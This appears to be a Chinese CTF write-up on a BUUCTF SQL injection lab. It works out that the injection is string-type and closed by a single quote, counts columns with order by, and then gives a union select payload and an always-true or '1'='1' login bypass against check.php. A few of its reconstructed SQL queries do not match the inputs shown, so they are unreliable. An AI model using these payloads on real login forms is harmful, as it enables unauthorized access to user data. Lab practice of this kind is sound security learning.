-
我们输入
http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin' and password=13123
响应为如下,提示我们输入password,看似url中查询了password,但是因为这是一个字符型注入,后台url转为
SELECT * FROM users WHERE username='admin AND password=13123';
将'admin AND password=13123'看为一个整体作为username了
-
下面我们使用&,我们输入
http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin"&password=13123 不报错
原sql语句为
SELECT * FROM users WHERE username='admin"' AND password='13123';
没有出现报错,&符号可以正确的将username和password理解为两个不同的查询变量。
但是输入http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin&password='13123' 报错
原sql语句为
SELECT * FROM users WHERE username='admin' AND password=''13123''; 因为闭合符号为',系统首先会检查到与第一个'最近的',然后把其中包括的字符串当做变量的值。如上面的查询语句,是一个闭合的空串,然后检查13123'此时发现前面没有闭合的'就会报错
这说明了注入方式为字符型注入,而且闭合符号为'
再比如输入url为
http://9f0323e3-4279-43a9-beee-e731decc5802.node5.buuoj.cn:81/check.php?username=admin''&password=asddaw
原sql语句为
SELECT * FROM users WHERE username='admin''' AND password='"123"';
此时两个连续的''会被转义为一个',注意转义后的'已经不是闭合符号了,仅仅作为一个字符',最后查询的是username=admin'。
-
查找表的列数
使用order by进行试探,%23是#,我们直接输入#没有作用的时候可以用%23http://f0cffece-3af3-4d0c-96c2-29abfb74abf6.node5.buuoj.cn:81/check.php?username=admin&password=1231' order by 3 %23
一共有3列
-
开始强行查询
方法一:
进行union,联合查询,如果查询到username=admin和password=dawdwa就会回显,查不到则回显
1,2,3共三列http://4df54dd7-9cfc-4013-9520-38350ad3f2d6.node5.buuoj.cn:81/check.php ?username=admin &password=dawdwa' union select 1,2,3 %23
方法二:
也可以使用or,让查询始终为真,从而查询到后台数据http://4df54dd7-9cfc-4013-9520-38350ad3f2d6.node5.buuoj.cn:81/check.php ?username=admin &password=dawdwa' or '1'='1' %23
